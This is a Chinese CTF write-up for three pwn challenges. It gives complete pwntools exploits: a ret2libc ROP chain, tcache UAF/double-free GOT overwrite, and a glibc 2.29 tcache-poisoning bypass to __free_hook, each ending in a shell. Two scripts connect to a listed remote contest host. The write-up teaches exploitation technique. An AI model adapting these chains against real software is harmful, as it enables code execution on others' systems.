今天打了打安恒月赛,发现👴还是太菜了,三道题目只做了两道,最后一道是赛后才做出来。不过本次的题目也有所收获,故写此wp作以记录。
pwn1 echo server 《👴在pwn题目里嗯想着misc是⑧是搞错了什么》 题目给了libc,是libc2.27的。所以这里就要注意,对于使用main函数和rop的时候注意栈对齐。 (这个题目很坑的地方就是,解压第一个压缩包得到的文件还得改后缀继续解压,然而憨憨的👴根据多年misc经验直接用winhex把elf文件头前边的全部删掉,得到了极其奇怪的二进制文件,然而还能正确识别,这是👴没想到的,对着错误的文件一顿ida分析运行,结果一道题浪费了爷两个小时,离谱) 既然得到了正确文件那就很简单了,常规ret2libc,注意使用printf泄露地址时候的截断 问题,还有格式化字符的位置。 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p=remote('183.129.189.60' ,10025 ) elf=ELF('./test' ) printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] read_got=elf.got['read' ] print(hex(printf_got)) main=0x40076a ret=0x000000000040055e pop_rdi=0x0000000000400823 pop_rsi_r15=0x0000000000400821 p.recvuntil('name' ) p.sendline(str(1000 )) p.recvuntil('name' ) payload='a' *136 +p64(pop_rdi)+p64(0x40087a )+p64(pop_rsi_r15)+p64(read_got)+p64(0 )+p64(printf_plt)+p64(main) p.send(payload) p.recvuntil('\x40\x20' ) read_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) libc_base=read_addr-0x110070 print(hex(libc_base)) system=libc_base+0x004f440 bin_sh=libc_base+0x1b3e9a p.recvuntil('name' ) p.sendline('200' ) p.recvuntil('name' ) payload='a' *136 +p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system) p.sendline(payload) p.interactive()
pwn2 sales_office 这道题目也是libc 2.27的,tcache的基础利用,UAF。 先利用tcache泄露基址,随后double free构造一个环状bins链,加入free_got的位置,然后修改free_got为system函数地址即可 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p=remote('183.129.189.60' ,10024 ) elf=ELF('./sales_office' ) puts_got=elf.got['puts' ] free_got=elf.got['free' ] def add (size,content) : p.recvuntil('choice:' ) p.sendline('1' ) p.recvuntil('house:' ) p.sendline(str(size)) p.recvuntil('house:' ) p.send(content) def add1 (size) : p.recvuntil('choice:' ) p.sendline('1' ) p.recvuntil('house:' ) p.sendline(str(size)) def free (idx) : p.recvuntil('choice:' ) p.sendline('4' ) p.recvuntil('index:' ) p.sendline(str(idx)) def show (idx) : p.recvuntil('choice:' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(idx)) p.recvuntil('house:\n' ) add(0x20 ,p64(puts_got)) add(0x20 ,p64(puts_got)) free(0 ) free(1 ) add(0x18 ,p64(puts_got)) show(0 ) puts_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) print(hex(puts_addr)) libc=puts_addr-0x0809c0 print(hex(libc)) free_addr=libc+0x97950 system=libc+0x04f440 add(0x18 ,'aa' ) free(3 ) free(3 ) add(0x18 ,p64(free_got)) add(0x60 ,'/bin/sh\x00' ) add(0x18 ,p64(system)) print(hex(free_got)) free(5 ) p.interactive()
pwn3 sales_office2 这一题多用属实是👴没想到的,一道题目恰两次钱,好活,赏💴! 这道题目我在比赛的时候没做出来,在赛后根据zhz师傅的提示做了出来。 本地复现的时候👴选择libc2.30的虚拟机复现(libc机制基本一样),大家看exp的时候注意相关地址即可。 这道题目和上道题目完全一样,但是libc是libc 2.29的.注意2.29加入了对于tcache的double free的检查,所以上一题目的方法打不通,就要想办法自己构造了。 这道题目前边还是和之前一样泄露libc基址,但是注意再额外泄露一个heap的基址,便于之后构造。 这里选择在一个0x51的chunk中伪造一个0x21的chunk,这样在这个伪造的chunk被free之后就可以通过改写0x51的chunk内容来控制伪造chonk的内容。 然后由于新加入的检查,tcache数量不能减到-1了,就需要提前多构造几个0x21的bins。 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 from pwn import *context(log_level="debug" , arch="amd64" , os="linux" ) p=process('./sales_office' ) elf=ELF('./sales_office' ) puts_got=elf.got['puts' ] free_got=elf.got['free' ] def add (size,content) : p.recvuntil('choice:' ) p.sendline('1' ) p.recvuntil('house:' ) p.sendline(str(size)) p.recvuntil('house:' ) p.send(content) def add1 (size) : p.recvuntil('choice:' ) p.sendline('1' ) p.recvuntil('house:' ) p.sendline(str(size)) def free (idx) : p.recvuntil('choice:' ) p.sendline('4' ) p.recvuntil('index:' ) p.sendline(str(idx)) def show (idx) : p.recvuntil('choice:' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(idx)) p.recvuntil('house:\n' ) add(0x20 ,p64(puts_got)) add(0x20 ,p64(puts_got)) free(0 ) free(1 ) add(0x18 ,p64(puts_got)) show(0 ) puts_addr=u64(p.recv(6 ).ljust(8 ,'\x00' )) print(hex(puts_addr)) libc=puts_addr-0x087490 print(hex(libc)) system=libc+0x0554e0 free_hook=libc+0x1edb20 add(0x38 ,p64(0 )+p64(0x21 )*6 ) add(0x48 ,p64(0 )+p64(0x21 )*8 ) add1(0x70 ) free(3 ) free(4 ) free(5 ) show(5 ) heap_addr=u64(p.recvuntil('\n' ,drop=True ).ljust(8 ,'\x00' ))-0x340 print(hex(heap_addr)) free_hook=libc+0x1edb20 add1(0x70 ) add(0x18 ,p64(heap_addr+0x3f0 )) add(0x18 ,'aa' ) free(6 ) free(3 ) add(0x48 ,'/bin/sh\x00' +p64(0 )*5 +p64(free_hook)+p64(0 )) add(0x18 ,p64(system)) free(7 ) p.interactive()
以上就是👴本次的pwn的wp,不得不说最后一题还是有所收获的。要是👴没有在第一道pwn里嗯想着misc,也许就出了说不定。 最后👴再补充一下libc2.29的检查:
1 2 3 4 5 6 typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
由于这里新增了指针用于检测double free,所以注意伪造的时候要把这个指针,也就是chunk的bk位置,也给改成0。 常规绕过思路有以下两个: (这是👴从网上找的,原文在这 )
如果有UAF漏洞或堆溢出,可以修改e->key为空,或者其他非tcache_perthread_struct的地址。这样可以直接绕过_int_free里面第一个if判断。不过如果UAF或堆溢出能直接修改chunk的fd的话,根本就不需要用到double free了。
利用堆溢出,修改chunk的size,最差的情况至少要做到off by null。留意到_int_free里面判断当前chunk是否已存在tcache的地方,它是根据chunk的大小去查指定的tcache链,由于我们修改了chunk的size,查找tcache链时并不会找到该chunk,满足free的条件。虽然double free的chunk不在同一个tcache链中,不过不影响我们使用tcache poisoning进行攻击。